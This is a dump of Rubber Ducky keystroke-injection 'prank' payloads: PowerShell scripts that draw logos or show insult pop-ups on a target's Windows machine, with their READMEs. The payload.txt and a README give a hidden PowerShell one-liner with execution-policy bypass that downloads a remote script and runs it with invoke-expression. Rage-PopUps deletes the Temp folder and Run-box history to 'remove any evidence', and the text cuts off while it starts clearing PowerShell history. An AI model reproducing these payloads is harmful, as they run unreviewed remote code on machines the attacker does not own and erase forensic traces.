|#\n############################################################################################################################################################\n\n<#\n.NOTES\n\tThis script uses the provided arrays to generate images. You also have the ability to make your own if you so choose. \n\tTo increase the size of the pixels add more spaces to the following Write-Host command.\n\tWrite-Host \"  \" -NoNewline -BackgroundColor $Colors[$position] \n\n.DESCRIPTION \n\tThis program will take the provided arrays and use them to generate images that will be drawn out in a powershell window. \n\n.SYNTAX \n\t$col  | PS-Draw\n\t$hak5 | PS-Draw\n\t$omg  | PS-Draw\n\tPS-Draw -Image $col\n\tPS-Draw -Image $hak5\n\tPS-Draw -Image $omg\n#>\n############################################################################################################################################################\n\n$Colors = @{\n    1         =   'White'               \n    2         =   'Black'         \n    3         =   'DarkBlue'    \n    4         =   'DarkGreen'     \n    5         =   'DarkCyan'      \n    6         =   'DarkRed'       \n    7         =   'DarkMagenta'   \n    8         =   'DarkYellow'    \n    9         =   'Gray'          \n    10        =   'DarkGray'      \n    11        =   'Blue'          \n    12        =   'Green'         \n    13        =   'Cyan'          \n    14        =   'Red'           \n    15        =   'Magenta'       \n    16        =   'Yellow'         \n}\n\n\t\t#Show available colors\n$col   =  @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1), \n          @(2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2),\n          @(3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3),\n          @(4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4),\n          @(5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5),\n          @(6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6),\n          @(7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7),\n          @(8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8),\n          @(9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9),\n          @(10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10),\n          @(11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11),\n          @(12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12),\n          @(13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13),\n          @(14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14),\n          @(15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15),\n          @(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16)\n\n\n$omg  =   @(2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1), \n          @(2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,1,1,1,1,2),\n          @(2,2,2,2,2,1,1,1,2,2,2,2,2,2,2,2,1,1,1,2,2,2),\n          @(2,2,2,2,2,1,1,1,2,2,2,2,2,2,2,2,1,1,1,2,2,2),\n          @(2,2,2,2,2,1,1,1,2,2,2,2,2,2,2,2,1,1,1,2,2,2),\n          @(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2),\n          @(2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,1,1,1,1,2),\n          @(2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1),\n          @(2,2,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1),\n          @(2,2,1,1,1,1,2,2,2,1,1,1,1,1,1,2,2,2,1,1,1,1),\n          @(2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),\n          @(2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),\n          @(2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2),\n          @(2,2,2,2,1,1,1,1,1,1,2,2,2,2,1,1,1,1,1,1,2,2),\n          @(2,2,2,2,1,1,1,1,1,2,2,2,2,2,2,1,1,1,1,1,2,2),\n          @(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2),\n          @(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2),\n          @(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2),\n          @(2,2,2,2,1,1,1,1,2,2,2,2,2,2,2,2,1,1,1,1,2,2),\n          @(2,2,2,2,1,1,1,1,1,2,2,2,2,2,2,1,1,1,1,1,2,2),\n          @(2,2,2,2,1,1,1,1,1,1,2,2,2,2,1,1,1,1,1,1,2,2),\n          @(2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2),\n          @(2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2),\n          @(2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2),\n          @(2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,2,2,2,2,2,2,2)\n\n\n$hak5  =  @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1), \n          @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),\n          @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1),\n          @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,1),\n          @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,6,1),\n          @(1,1,1,1,1,1,1,1,1,1,1,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,1,1,1,1,1,1,1),\n          @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,1,1,1,1,1,1,1),\n          @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,6,6,6,6,6,6,6,6,6,6,6,1),\n          @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,1,2,2,2,1,1,1,2,2,1,1,1,2,2,1,6,6,6,6,6,6,6,6,6,6,6,1),\n          @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,1,2,2,2,1,1,1,2,2,1,1,2,2,1,1,6,6,6,6,1,1,1,6,6,6,6,1),\n          @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,1,2,2,2,2,1,1,1,2,2,2,2,2,1,1,1,6,6,6,1,1,1,1,6,6,6,6,1),\n          @(1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,2,1,1,2,2,1,1,2,2,2,2,2,1,1,1,1,1,1,1,1,1,6,6,6,6,6,1),\n          @(1,2,2,2,2,2,2,2,2,2,2,2,2,1,1,2,2,1,1,2,2,1,1,2,2,1,1,2,2,1,1,1,1,1,1,1,1,6,6,6,6,6,1),\n          @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,2,2,1,1,2,2,1,1,2,2,1,1,2,2,1,1,1,1,1,1,1,1,6,6,6,6,6,1),\n          @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,2,2,2,2,2,2,2,1,2,2,1,1,1,2,6,6,6,6,6,1,1,6,6,6,6,6,1,1),\n          @(1,2,2,1,1,1,1,1,1,1,1,2,2,1,1,2,2,2,2,2,2,2,1,2,2,1,1,1,1,6,6,6,6,6,1,1,6,6,6,6,6,1,1),\n          @(1,2,2,1,1,1,1,1,1,1,1,2,2,2,2,2,1,1,1,1,2,2,2,2,2,1,1,1,1,6,6,6,6,6,1,1,6,6,6,6,1,1,1),\n          @(1,2,2,1,1,1,1,1,1,1,1,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,6,6,1,1,1),\n          @(1,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,6,6,6,1,1,1,1),\n          @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,6,6,6,6,6,6,6,1,1,1,1,1,1,1),\n          @(1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)\n\n# -------------------------------------------------------------------------------------------\t\t\n\n\nfunction PS-Draw { \n    [CmdletBinding()]\n    param ( \n        [Parameter (Mandatory = $True, ValueFromPipeline = $True)]\n        [Alias(\"I\")]\n        [object[]]$Image\n    )\n\n    # if the data is sent through the pipeline, use $input to collect is as array\n    if ($PSCmdlet.MyInvocation.ExpectingInput) { $Image = @($input) }\n    #$Data | Out-String -Stream -Width 9999 | ForEach-Object { \"$($_.Trim())`r`n\" }\n\n    cls\n   \n    foreach ($row in $Image) {\n      foreach ($position in $row) {\n        Write-Host \"  \" -NoNewline -BackgroundColor $Colors[$position]\n        Start-Sleep -m 10\n      }\n      Write-Host \"\"\n    }\n}\n\n<#\n\n.NOTES \n\tThis will get either the targets full name associated with the registered microsoft account \n\tor it will default to grabbing the username of the account to use as a greeting for this script\n#>\n\n function Get-fullName {\n\n    try {\n\n    $fullName = Net User $Env:username | Select-String -Pattern \"Full Name\";$fullName = (\"$fullName\").TrimStart(\"Full Name\")\n\n    }\n \n # If no name is detected function will return $env:UserName \n\n    # Write Error is just for troubleshooting \n    catch {Write-Error \"No name was detected\" \n    return $env:UserName\n    -ErrorAction SilentlyContinue\n    }\n\n    return $fullName \n\n}\n\n# -------------------------------------------------------------------------------------------\n\n# Get name to be used in greeting\n\ncls\n\n$fullName = Get-fullName\n\necho \"Hello $fullName\"\n\n# -------------------------------------------------------------------------------------------\n\n<#\n\n.NOTES \n\tThen the script will be paused until the mouse is moved \n\tscript will check mouse position every indicated number of seconds\n\tThis while loop will constantly check if the mouse has been moved \n\t\"CAPSLOCK\" will be continously pressed to prevent screen from turning off\n\tit will then sleep for the indicated number of seconds and check again\n\twhen mouse is moved it will break out of the loop and continue theipt\n#>\n\n\nAdd-Type -AssemblyName System.Windows.Forms\n$o=New-Object -ComObject WScript.Shell\n$originalPOS = [System.Windows.Forms.Cursor]::Position.X\n\n    while (1) {\n        $pauseTime = 3\n        if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){\n            break\n        }\n        else {\n            $o.SendKeys(\"{CAPSLOCK}\");Start-Sleep -Seconds $pauseTime\n        }\n    }\n\n<#\n\n.NOTES \n\tThis is where you call the function to draw out one of the images above \n\t$col  - to see the available colors you can use for a custom image \n\t$hak5 - this will draw out the hak5 five logo\n\t$omg  - this will draw out the omg logo \n#>\n\n# -------------------------------------------------------------------------------------------\n\n# Call function with one of the arrays listed above to generate an image\n\n$hak5 | PS-Draw\n\n\n"
  },
  {
    "path": "payloads/library/prank/-RD-PS-Draw/PS-Draw.ps1",
    "content": "############################################################################################################################################################                      \n#                                  |  ___                           _           _              _             #              ,d88b.d88b                     #                                 \n# Title        : PS-Draw           | |_ _|   __ _   _ __ ___       | |   __ _  | | __   ___   | |__    _   _ #              88888888888                    #           \n# Author       : I am Jakoby       |  | |   / _` | | '_ ` _ \\   _  | |  / _` | | |/ /  / _ \\  | '_ \\  | | | |#              `Y8888888Y'                    #           \n# Version      : 1.0               |  | |  | (_| | | | | | | | | |_| | | (_| | |   <  | (_) | | |_) | | |_| |#               `Y888Y'                       #\n# Category     : Prank             | |___|  \\__,_| |_| |_| |_|  \\___/   \\__,_| |_|\\_\\  \\___/  |_.__/   \\__, |#                 `Y'                         #\n# Target       : Windows 7,10,11   |                                                                   |___/ #           /\\/|_      __/\\\\                  #     \n# Mode         : HID               |                                                           |\\__/,|   (`\\ #          /    -\\    /-   ~\\                 #             \n#                                  |  My crime is that of curiosity                            |_ _  |.--.) )#          \\    = Y =T_ =   /                 #      \n#                                  |   and yea curiosity killed the cat                        ( T   )     / #   Luther  )==*(`     `) ~ \\   Hobo          #                                                                                              \n#                                  |    but satisfaction brought him back                     (((^_(((/(((_/ #          /     \\     /     \\                #    \n#__________________________________|_________________________________________________________________________#          |     |     ) ~   (                #\n#                                                                                                            #         /       \\   /     ~ \\               #\n#  github.com/I-Am-Jakoby                                                                                    #         \\       /   \\~     ~/               #         \n#  twitter.com/I_Am_Jakoby                                                                                   #   /\\_/\\_/\\__  _/_/\\_/\\__~__/_/\\_/\\_/\\_/\\_/\\_#                     \n#  instagram.com/i_am_jakoby                                                                                 #  |  |  |  | ) ) |  |  | ((  |  |  |  |  |  |#              \n#  youtube.com/c/IamJakoby                                                                                   #  |  |  |  |( (  |  |  |  \\\\ |  |  |  |  |  |#\n############################################################################################################################################################\n\n<#\n.NOTES\n\tThis script will convert an approximation of what your image should look like. Most likely you'll need to test several images to find one that works \n\twell. It is best to use images no larger than 150x150 pixels, but I would even recommend going smaller than that. My exmaple image is 25x20 pixels\t\n\tTo increase the size of the pixels add more spaces to the following Write-Host command.\n\tWrite-Host \" \" -NoNewline -BackgroundColor $BackGround \n\n.DESCRIPTION \n\tThis program will take the path of an image you provide and convert it to a Bitmap file. An algorithm will be used to calculate the closest console color\n\tthat can be used in powershell. Finally that image will be drawn in a powershell window. \n\n.SYNTAX \n\t\"$env:TMP\\omg-ico.png\" | PS-Draw\n\tPS-Draw -Path \"$env:TMP\\omg-ico.png\"\n#>\n############################################################################################################################################################\n\nFunction PS-Draw\n{\n    param(\n            [String] [parameter(mandatory=$true, Valuefrompipeline = $true)] $Path,\n            [Switch] $ToASCII\n    )\n    Begin\n    {\n        [void] [System.Reflection.Assembly]::LoadWithPartialName('System.drawing')\n        \n        # Console Colors and their Hexadecimal values\n        $Colors = @{\n            'FFFFFFFF' =   'White'\n            'FF000000' =   'Black'         \n            'FF000080' =   'DarkBlue'      \n            'FF008000' =   'DarkGreen'     \n            'FF008080' =   'DarkCyan'      \n            'FF800000' =   'DarkRed'       \n            'FF800080' =   'DarkMagenta'   \n            'FF808000' =   'DarkYellow'    \n            'FFC0C0C0' =   'Gray'          \n            'FF808080' =   'DarkGray'      \n            'FF0000FF' =   'Blue'          \n            'FF00FF00' =   'Green'         \n            'FF00FFFF' =   'Cyan'          \n            'FFFF0000' =   'Red'           \n            'FFFF00FF' =   'Magenta'       \n            'FFFFFF00' =   'Yellow'         \n                 \n        }\n        \n        # Algorithm to calculate closest Console color (Only 16) to a color of Pixel\n        Function Get-ClosestConsoleColor($PixelColor)\n        {\n            ($(foreach ($item in $Colors.Keys) {\n                [pscustomobject]@{\n                    'Color' = $Item\n                    'Diff'  = [math]::abs([convert]::ToInt32($Item,16) - [convert]::ToInt32($PixelColor,16))\n                } \n            }) | Sort-Object Diff)[0].color\n        }\n    }\n    Process\n    {\n        Foreach($item in $Path)\n        {\n            #Convert Image to BitMap            \n            $BitMap = [System.Drawing.Bitmap]::FromFile((Get-Item $Item).fullname)\n\n            Foreach($y in (1..($BitMap.Height-1)))\n            {\n                Foreach($x in (1..($BitMap.Width-1)))\n                {\n                    $Pixel = $BitMap.GetPixel($X,$Y)        \n                    $BackGround = $Colors.Item((Get-ClosestConsoleColor $Pixel.name))\n                    \n\n                    If($ToASCII) # Condition to check ToASCII switch\n                    {\n                        Write-Host \"$([Char](Get-Random -Maximum 126 -Minimum 33))\" -NoNewline -ForegroundColor $BackGround\n                    }\n                    else\n                    {\n                        Write-Host \" \" -NoNewline -BackgroundColor $BackGround\n                    }\n                }\n                Write-Host '' # Blank write-host to Start the next row\n            }\n        }        \n    \n    }\n    end\n    {\n    \n    }\n\n}\n\n<#\n\n.NOTES \n\tThis will get either the targets full name associated with the registered microsoft account \n\tor it will default to grabbing the username of the account to use as a greeting for this script\n#>\n\n function Get-fullName {\n\n    try {\n\n    $fullName = Net User $Env:username | Select-String -Pattern \"Full Name\";$fullName = (\"$fullName\").TrimStart(\"Full Name\")\n\n    }\n \n # If no name is detected function will return $env:UserName \n\n    # Write Error is just for troubleshooting \n    catch {Write-Error \"No name was detected\" \n    return $env:UserName\n    -ErrorAction SilentlyContinue\n    }\n\n    return $fullName \n\n}\n\n# -------------------------------------------------------------------------------------------\n# Download the image from wherever you are hosting it\n\niwr https://www.dropbox.com/s/EXAMPLE/omg-ico.png?dl=1 -O $env:TMP\\omg-ico.png\n\n# -------------------------------------------------------------------------------------------\n\n# Get name to use in the greeting\n\ncls\n\n$fullName = Get-fullName\n\necho \"Hello $fullName\"\n# -------------------------------------------------------------------------------------------\n\n<#\n\n.NOTES \n\tThen the script will be paused until the mouse is moved \n\tscript will check mouse position every indicated number of seconds\n\tThis while loop will constantly check if the mouse has been moved \n\t\"CAPSLOCK\" will be continously pressed to prevent screen from turning off\n\tit will then sleep for the indicated number of seconds and check again\n\twhen mouse is moved it will break out of the loop and continue theipt\n#>\n\n\nAdd-Type -AssemblyName System.Windows.Forms\n$o=New-Object -ComObject WScript.Shell\n$originalPOS = [System.Windows.Forms.Cursor]::Position.X\n\n    while (1) {\n        $pauseTime = 3\n        if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){\n            break\n        }\n        else {\n            $o.SendKeys(\"{CAPSLOCK}\");Start-Sleep -Seconds $pauseTime\n        }\n    }\n\n\n<#\n\n.NOTES \n\tThis is where you call the function to draw out your image\n\tReplace the path below with the path of your image \n\n.SYNTAX \n\t\"$env:TMP\\omg-ico.png\" | PS-Draw\n\tPS-Draw -Path \"$env:TMP\\omg-ico.png\"\n#>\n\n# -------------------------------------------------------------------------------------------\n\n# Call the function with the image you'd like to have drawn here\n\n\"$env:TMP\\omg-ico.png\" | PS-Draw\n\n"
  },
  {
    "path": "payloads/library/prank/-RD-PS-Draw/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# PS-Draw\n\nA script used to generate and draw images in the Powershell Window, used to leave a signature or perhaps taunt victims\n\n## Description\n\nThese two programs use two different method to draw out images in the Powershell Window. \nPS-Draw will convert an image you download into a BMP file estiamte the used colors based off the 16 available powershell colors \nthen draw your image out in the powershell window. This process is not exact and needed testing of multiple images to find one that works well. \n\nPS-Custom-Draw generates images to be drawn in the Powershell Window based off pre-configured arrays I put together already included in the file itself. \nThese images look significantly cleaner due to the fact they were drawn and coded specifically for this purpose.\n\nAfter the images are generated, a greeting will be generated by grabbing either the name associated with the registered microsoft account or the \nUserName environment variable. \nThe script will then be paused until a mouse movement is detected at which time the pre selected image will be drawn out in the powershell window. \n\n## Getting Started\n\n### Dependencies\n\n* DropBox or another image hosting service - Your Shared link for the intended file\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your Device\n* Invoke-WebRequest will be used to download the image \n\n```\npowershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1\n```\n* The image will be converted into a BMP file\n* An algorithm will be used to find the closest matching colors available in the powershell window\n* The image will be generated in the powershell window\n\nThis is an example of an image I used with the PS-Draw command \n\n![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG/Payloads/OMG-PS-Draw/Images/omg-ico.png?raw=true)\n\nThis is how the iamge is interpreted and drawn out  \n![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG/Payloads/OMG-PS-Draw/Images/PS-Draw.jpg?raw=true)\n\n* The PS-Custom-Draw operates a little differently \n* One of the preconfigured arrays is piped into the command to generate an image \n \n* \"$col | PS-Draw\"  - This first one will show the available colors to be used as seen below\n \n![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG/Payloads/OMG-PS-Draw/Images/ps-colors.jpg?raw=true)\n\n\n* \"$omg | PS-Draw\"  - This will draw out the OMG logo as seen below\n \n![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG/Payloads/OMG-PS-Draw/Images/ps-omg.jpg?raw=true)\n\n\n* \"$hak5 | PS-Draw\" - This will draw out the Hak5 logo as seen below\n \n![alt text](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/OMG/Payloads/OMG-PS-Draw/Images/ps-hak5.jpg?raw=true)\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<div><h2>I am Jakoby</h2></div>\n  <p><br/>\n  \n  <img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n  \n  <a href=\"https://github.com/I-Am-Jakoby/\">\n    <img src=\"https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.instagram.com/i_am_jakoby/\">\n    <img src=\"https://img.shields.io/badge/Instagram-i__am__jakoby-red\">\n  </a>\n  \n  <a href=\"https://twitter.com/I_Am_Jakoby/\">\n    <img src=\"https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.youtube.com/c/IamJakoby/\">\n    <img src=\"https://img.shields.io/badge/YouTube-I_am_Jakoby-red\">\n  </a>\n\n  Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/RubberDucky/Payloads/RD-PS-Draw)\n</p>\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/prank/-RD-PS-Draw/payload.txt",
    "content": "REM     Title: PS-Draw\n\nREM     Author: I am Jakoby\n\nREM     Description: This payload is meant to draw images in your targets powershell console. See PS-Draw.ps1 for more details\n\nREM     Target: Windows 10, 11\n\nREM     Remember to replace the link with your link for the intended file to download\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly\n\nREM     Download one of the two PS-Draw Execute files provided and execute it  \n\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl\nENTER\n"
  },
  {
    "path": "payloads/library/prank/-RD-Rage-PopUps/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Rage-PopUps\n\nA script I put together to torment Call Center Scammers but can be used on your friends as well.. or Foes.\n\n## Description\n\nThis program will open a series of pop up boxes with insults in a loop that repeats as many times as you set it to. \nThere is a section in the Rage-PopUps.ps1 file where you insert your own insults or use the ones provided \n\n## Getting Started\n\n### Dependencies\n\n* DropBox or other file hosting service - Your Shared link for the intended file\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory\n```\npowershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<div><h2>I am Jakoby</h2></div>\n  <p><br/>\n  \n  <img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n  \n  <a href=\"https://github.com/I-Am-Jakoby/\">\n    <img src=\"https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.instagram.com/i_am_jakoby/\">\n    <img src=\"https://img.shields.io/badge/Instagram-i__am__jakoby-red\">\n  </a>\n  \n  <a href=\"https://twitter.com/I_Am_Jakoby/\">\n    <img src=\"https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.youtube.com/c/IamJakoby/\">\n    <img src=\"https://img.shields.io/badge/YouTube-I_am_Jakoby-red\">\n  </a>\n\n  Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/RubberDucky/Payloads/RD-Rage-PopUps)\n</p>\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/prank/-RD-Rage-PopUps/Rage-PopUps.ps1",
    "content": "############################################################################################################################################################                      \r\n#                                  |  ___                           _           _              _             #              ,d88b.d88b                     #                                 \r\n# Title        : Rage-PopUps       | |_ _|   __ _   _ __ ___       | |   __ _  | | __   ___   | |__    _   _ #              88888888888                    #           \r\n# Author       : I am Jakoby       |  | |   / _` | | '_ ` _ \\   _  | |  / _` | | |/ /  / _ \\  | '_ \\  | | | |#              `Y8888888Y'                    #           \r\n# Version      : 1.0               |  | |  | (_| | | | | | | | | |_| | | (_| | |   <  | (_) | | |_) | | |_| |#               `Y888Y'                       #\r\n# Category     : Prank             | |___|  \\__,_| |_| |_| |_|  \\___/   \\__,_| |_|\\_\\  \\___/  |_.__/   \\__, |#                 `Y'                         #\r\n# Target       : Windows 7,10,11   |                                                                   |___/ #           /\\/|_      __/\\\\                  #     \r\n# Mode         : HID               |                                                           |\\__/,|   (`\\ #          /    -\\    /-   ~\\                 #             \r\n#                                  |  My crime is that of curiosity                            |_ _  |.--.) )#          \\    = Y =T_ =   /                 #      \r\n#                                  |   and yea curiosity killed the cat                        ( T   )     / #   Luther  )==*(`     `) ~ \\   Hobo          #                                                                                              \r\n#                                  |    but satisfaction brought him back                     (((^_(((/(((_/ #          /     \\     /     \\                #    \r\n#__________________________________|_________________________________________________________________________#          |     |     ) ~   (                #\r\n#                                                                                                            #         /       \\   /     ~ \\               #\r\n#  github.com/I-Am-Jakoby                                                                                    #         \\       /   \\~     ~/               #         \r\n#  twitter.com/I_Am_Jakoby                                                                                   #   /\\_/\\_/\\__  _/_/\\_/\\__~__/_/\\_/\\_/\\_/\\_/\\_#                     \r\n#  instagram.com/i_am_jakoby                                                                                 #  |  |  |  | ) ) |  |  | ((  |  |  |  |  |  |#              \r\n#  youtube.com/c/IamJakoby                                                                                   #  |  |  |  |( (  |  |  |  \\\\ |  |  |  |  |  |#\r\n############################################################################################################################################################\r\n\r\n<#\r\n.SYNOPSIS\r\n\tThis script will open a series of pop ups in order to taunt your target. I wrote it initially to target call center scammers\r\n\r\n.DESCRIPTION \r\n\tThis program is to taunt your target. Below are a series insults you can modify as you like. The program will generate a PopUp \r\n\tfor each one of them. \r\n#>\r\n\r\n#------------------------------------------------------------------------------------------------------------------------------------\r\n\r\nAdd-Type -AssemblyName System.Windows.Forms\r\n\r\n# The number of times you want it to cycle through your list of questions\r\n\r\n$cycles = 3\r\n\r\n# List as many questions here as you like, it will cycke through all of them\r\n\r\n$msgs = @(\r\n\"Are all scammers as dumb as you?\"\r\n\"Is the pay worth being this big of a loser?\"\r\n\"Do your parents know what you do for a living?\"\r\n\"Does you boss know much much you suck at this job?\"\r\n)\r\n\r\nfor ($i=1; $i -le $cycles; $i++) {\r\n\r\nForeach ($msg in $msgs) {\r\n[System.Windows.Forms.MessageBox]::Show($msg , \"You're-a-Loser.exe\" , 4 , 'Question')\r\n}\r\n}\r\n\r\n#----------------------------------------------------------------------------------------------------\r\n\r\n<#\r\n\r\n.NOTES \r\n\tThis is to clean up behind you and remove any evidence to prove you were there\r\n#>\r\n\r\n# Delete contents of Temp folder \r\n\r\nrm $env:TEMP\\* -r -Force -ErrorAction SilentlyContinue\r\n\r\n# Delete run box history\r\n\r\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f\r\n\r\n# Delete powershell 